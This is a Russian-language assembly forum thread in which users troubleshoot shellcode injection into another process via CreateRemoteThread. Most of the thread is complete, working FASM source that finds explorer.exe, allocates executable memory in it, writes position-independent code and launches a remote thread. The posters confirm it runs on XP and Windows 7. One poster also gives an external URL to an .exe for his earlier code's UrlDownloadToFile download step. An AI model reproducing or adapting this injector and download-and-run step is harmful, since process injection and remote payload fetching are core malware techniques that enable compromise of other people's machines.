Вылетает на CreateRemoteThread >:-[]

Тема в разделе "WASM.ASSEMBLER", создана пользователем YaMolekula, 15 фев 2011.

  1. ziral2088

    ziral2088 New Member

    Публикаций:
    0
    Регистрация:
    16 авг 2009
    Сообщения:
    283
    int3 into shellcode + windbg.
     
  2. kap00stik

    kap00stik New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2011
    Сообщения:
    11
    Одна голова хорошо, две лучше.
    Ловите код
     
  3. kap00stik

    kap00stik New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2011
    Сообщения:
    11
    Ну что господа хорошие, кто-нибудь попробовал?
    Что там у вас получается?
     
  4. qwe8013

    qwe8013 New Member

    Публикаций:
    0
    Регистрация:
    28 май 2009
    Сообщения:
    198
    kap00stik
    Код (Text):
    1. invoke  VirtualAllocEx, edi, esi, thread_end-thread_start, MEM_COMMIT, PAGE_READWRITE
    У вас DEP включён?
    Если да, то надо не PAGE_READWRITE а PAGE_EXECUTE_READWRITE.

    PS У меня UrlDownloadToFile падает.
     
  5. kap00stik

    kap00stik New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2011
    Сообщения:
    11
    Не помогает

    Да да, падает потому-что файла для скачки такого нет давно, надо заменить даунлоад урл на вот например этот:
    http://www.bigcollapse.host.sk/files/hello.exe',0
     
  6. kap00stik

    kap00stik New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2011
    Сообщения:
    11
    Мда короче я так понимаю, нихера хорошего у вас тоже не выходит.

    Все-таки интересно, почему этот код когда-то работавший под XP теперь отказывается даже там?
    Походу долго я перекуривал, что-то изменилось за это время (кроме того что вышла виста и семерка).

    Где-то слышал что начиная с висты надо юзать натив NtCreateRemoteThread функцию. Ну хорошо, а почему тогда под ХР не работает? Я уже тут голову сломал ой.

    И почему олька не вылетает на int 3 ? Стоит как JIT-Debugger в системе.

    Короче поебусь еще не много, и походу опять курить лет этак на 5 уйду.
     
  7. qwe8013

    qwe8013 New Member

    Публикаций:
    0
    Регистрация:
    28 май 2009
    Сообщения:
    198
    kap00stik
    Вот, написал быстренько, надеюсь разберётесь:
    Код (Text):
    1. format PE gui
    2. entry start
    3. include 'win32a.inc'
    4.  
    5. section 'qweasd' readable writeable executable
    6. data import
    7. library kernel32,'kernel32.dll',user32,'user32.dll'
    8. include 'api\kernel32.inc'
    9. include 'api\user32.inc'
    10. end data
    11.  
    12. struct PROCESSENTRY32
    13.   dwSize              dd ?
    14.   cntUsage            dd ?
    15.   th32ProcessID       dd ?
    16.   th32DefaultHeapID   dd ?
    17.   th32ModuleID        dd ?
    18.   cntThreads          dd ?
    19.   th32ParentProcessID dd ?
    20.   pcPriClassBase      dd ?
    21.   dwFlags             dd ?
    22.   szExeFile           db MAX_PATH dup(?)
    23. ends        
    24.  
    25. TH32CS_SNAPPROCESS      equ 2
    26.  
    27. start:
    28.  
    29. invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
    30. inc eax
    31. jz .error
    32. dec eax
    33. mov ebx,eax
    34.  
    35. mov [_proc+PROCESSENTRY32.dwSize],sizeof.PROCESSENTRY32
    36.  
    37. invoke Process32First,ebx,_proc
    38.  
    39. .nxt_proc:
    40.  
    41. lea eax,[_proc+PROCESSENTRY32.szExeFile]
    42. invoke lstrcmpi,_explorer,eax
    43. test eax,eax
    44. je .inject
    45.  
    46. invoke Process32Next,ebx,_proc
    47. test eax,eax
    48. jne .nxt_proc
    49.  
    50. .end:
    51. invoke CloseHandle,ebx
    52.  
    53. .error:
    54. retn
    55.  
    56. .inject:
    57.  
    58. invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,0,[_proc+PROCESSENTRY32.th32ProcessID]
    59. test eax,eax
    60. je .end
    61.  
    62. mov esi,eax
    63.  
    64.  
    65. invoke VirtualAllocEx,esi,0,_code_end-_code,MEM_COMMIT,PAGE_EXECUTE_READWRITE
    66. mov edi,eax
    67.  
    68. push [GetModuleHandleA]
    69. pop [_GetModuleHandleA]
    70.  
    71. push [GetProcAddress]
    72. pop [_GetProcAddress]
    73.  
    74. push [VirtualFree]
    75. pop [_VirtualFree]
    76.  
    77. invoke WriteProcessMemory,esi,edi,_code,_code_end-_code,temp
    78.  
    79. push eax
    80. invoke CreateRemoteThread,esi,0,0,edi,edi,0,esp
    81. pop eax
    82.  
    83. invoke CloseHandle,esi
    84. jmp .end
    85.  
    86. _code:;[esp+4]=base
    87.  
    88. push ebp
    89. mov ebp,[esp+8]
    90. sub ebp,_code
    91. ;ebp=delta
    92.  
    93. lea eax,[_u32+ebp]
    94. invoke ebp+_GetModuleHandleA,eax
    95.  
    96. lea edx,[mb+ebp]
    97. invoke ebp+_GetProcAddress,eax,edx
    98.  
    99. stdcall eax,0,0,0,0;MessageBoxA
    100.  
    101. mov eax,ebp
    102.  
    103. pop ebp
    104.  
    105. pop edx
    106. add esp,4
    107. ;eax=delta
    108. ;edx=return
    109.  
    110. push MEM_DECOMMIT;Free type
    111. push _code_end-_code;size
    112. lea ecx,[_code+eax]
    113. push ecx;address
    114. push edx;return
    115. jmp [_VirtualFree+eax]
    116.  
    117.  
    118. _u32 db 'user32.dll',0
    119. mb db 'MessageBoxA',0
    120.  
    121. _GetModuleHandleA dd ?
    122. _GetProcAddress dd ?
    123. _VirtualFree dd ?
    124.  
    125. _code_end:
    126.  
    127. temp dd ?
    128. _explorer db 'explorer.exe',0
    129.  
    130. _proc PROCESSENTRY32
    На XP работает.
     
  8. kap00stik

    kap00stik New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2011
    Сообщения:
    11
    На Windows 7 32Bit тоже.

    Охренеть можно, вся заморочка была в том, что я выделял память с последним параметром PAGE_READWRITE вместо PAGE_EXECUTE_READWRITE.
    Заменил, и на тебе, заработало.
    А ведь qwe8013 уже упомянал об этом. (надо завязывать траву курить).

    Всем спасибо, qwe8013 тебе особенное!